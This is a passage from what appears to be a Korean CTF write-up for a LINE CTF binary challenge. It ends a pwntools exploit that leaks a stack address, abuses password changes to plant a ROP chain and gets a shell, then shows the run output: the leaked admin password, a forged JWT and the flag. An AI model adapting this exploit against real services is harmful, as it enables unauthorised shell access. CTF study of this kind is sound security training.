change_pw(p64(stack_leak + 0xda8)+p32(len(rop)))
logout()

login('admin', info['email'][0xa8:0xa8+len(rop)])
change_pw(rop)
logout()

login('Welcome!', p64(stack_leak + 0xda8)+p32(len(rop)))
change_pw(p64(stack_leak + 0x10)+p32(8))
logout()

quit()
p.interactive()

3.2. Run

  • exploit.py을 실행하면 아래와 같이 문제 서버의 쉘을 획득할 수 있다.
$ python exploit.py
[+] Opening connection to 127.0.0.1 on port 9999: Done
0 b'10'
1 b'109d'
2 b'109d77'
3 b'109d77d7'
4 b'109d77d7fe'
5 b'109d77d7fe7f'
6 b'109d77d7fe7f00'
7 b'109d77d7fe7f0000'
8 b'109d77d7fe7f000008'
9 b'109d77d7fe7f00000800'
10 b'109d77d7fe7f0000080000'
11 b'109d77d7fe7f000008000000'
12 b'109d77d7fe7f00000800000000'
13 b'109d77d7fe7f0000080000000000'
14 b'109d77d7fe7f000008000000000000'
15 b'109d77d7fe7f00000800000000000000'
16 b'109d77d7fe7f0000080000000000000065'
17 b'109d77d7fe7f000008000000000000006553'
18 b'109d77d7fe7f00000800000000000000655334'
19 b'109d77d7fe7f0000080000000000000065533470'
20 b'109d77d7fe7f000008000000000000006553347052'
21 b'109d77d7fe7f0000080000000000000065533470524e'
22 b'109d77d7fe7f0000080000000000000065533470524e4e'
23 b'109d77d7fe7f0000080000000000000065533470524e4e42'
24
stack_leak (start of user_list) :  0x7ffed7779d00
original password length :  0x8
admin password :  b'eS4pRNNB'
coupon: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpYXQiOjE3MTIyMzk2NjcsImlzcyI6ImxpbmVjdGYiLCJ1c2VyaWQiOiJXZWxjb21lISJ9.1RDoH32OBX_AHxG5rNOxvYUb5bxyGHJ-1I_wSAKEe00'
[(2, 41), (4, 51), (9, 48), (16, 12), (16, 47)] [(2, 30)] [(14, 30)]
0x7b6d97a3e000
[*] Switching to interactive mode

[*] quit
$ id
-rw-rw-r-- 1 nobody nogroup     42 Mar 22 02:13 flag
-rwxr-xr-x 1 nobody nogroup 256352 Mar 22 02:13 game
$ cat flag
LINECTF{276689eec0b64b87bc7e247ccb5da403}

Flag : LINECTF{276689eec0b64b87bc7e247ccb5da403}